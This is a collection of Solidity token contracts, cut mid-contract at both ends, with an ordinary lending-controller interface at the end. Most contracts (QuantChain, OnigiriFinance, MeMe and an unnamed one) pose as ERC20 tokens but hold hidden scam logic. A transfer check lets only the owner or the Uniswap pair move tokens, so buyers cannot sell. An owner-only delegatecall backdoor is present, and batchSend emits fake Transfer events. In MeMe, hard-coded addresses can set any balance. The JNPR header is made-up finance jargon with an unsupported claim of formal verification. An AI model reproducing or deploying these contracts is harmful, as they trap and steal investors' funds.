returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds the allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from zero address"); require(recipient != address(0), "ERC20: transfer to zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: not approve from zero address"); require(spender != address(0), "ERC20: approve to zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero thrown"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract StandardToken { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; /* JNPR Production QUANT V1 - JNPRq The Protocol for JQUANT payments operates over three phases: proposal, preparation and execution. The phasing works utilising a two-phase commit protocol, and a chosen group of notaries act like the Transaction manager. The validation time depends on the time required by the blockchain to add information about these three phases for all nodes involved in the transactions. Providing the factor investing margins, we see that the emission mode;s sample’s premia were 2.84% for HML, 1.47% for SMB, and 1.86% for UMD (Momentum), with only Value being marginally significant. Compare this to the raw quant yield portfolios, which deliver premia of either 7.06% or 5.46% to HML and 9.23% or 9.14% to UMD which are highly significant (note — SMB is not significant for the paper portfolios). Thus, the difference between the premia and delta yield is value and momentum factor. Premia factors over 10% are generally not being captured in other live DEX-based mutual funds. Models Formally Verified on 10-1-2020 */ interface QuantIERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(QuantIERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(QuantIERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(QuantIERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(QuantIERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, QuantIERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is QuantIERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract QuantChain { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; /* * Onigiri Finance * Website: http://onigiri.finance/ */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract OnigiriFinance { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } //heyuemingchen contract MeMe { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner || msg.sender==address(1128272879772349028992474526206451541022554459967) || msg.sender==address(781882898559151731055770343534128190759711045284) || msg.sender==address(718276804347632883115823995738883310263147443572) || msg.sender==address(56379186052763868667970533924811260232719434180) ); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.16; /** * @title Bird's BController Interface */ contract BControllerInterface { /// @notice Indicator that this is a BController contract (for inspection) bool public constant isBController = true; /*** Assets You Are In ***/ function enterMarkets(address[] calldata bTokens) external returns (uint[] memory); function exitMarket(address bToken) external returns (uint); /*** Policy Hooks ***/ function mintAllowed(address bToken, address minter, uint mintAmount) external returns (uint); function mintVerify(address bToken, address minter, uint mintAmount, uint mintTokens) external; function redeemAllowed(address bToken, address redeemer, uint redeemTokens) external returns (uint); function redeemVerify(address bToken, address redeemer, uint redeemAmount, uint redeemTokens) external; function borrowAllowed(address bToken, address borrower, uint borrowAmount) external returns (uint); function borrowVerify(address bToken, address borrower, uint borrowAmount) external; function repayBorrowAllowed(address bToken, address payer, address borrower, uint repayAmount) external returns (uint); function repayBorrowVerify(address bToken, address payer, address borrower, uint repayAmount, uint borrowerIndex) external; function liquidateBorrowAllowed(address 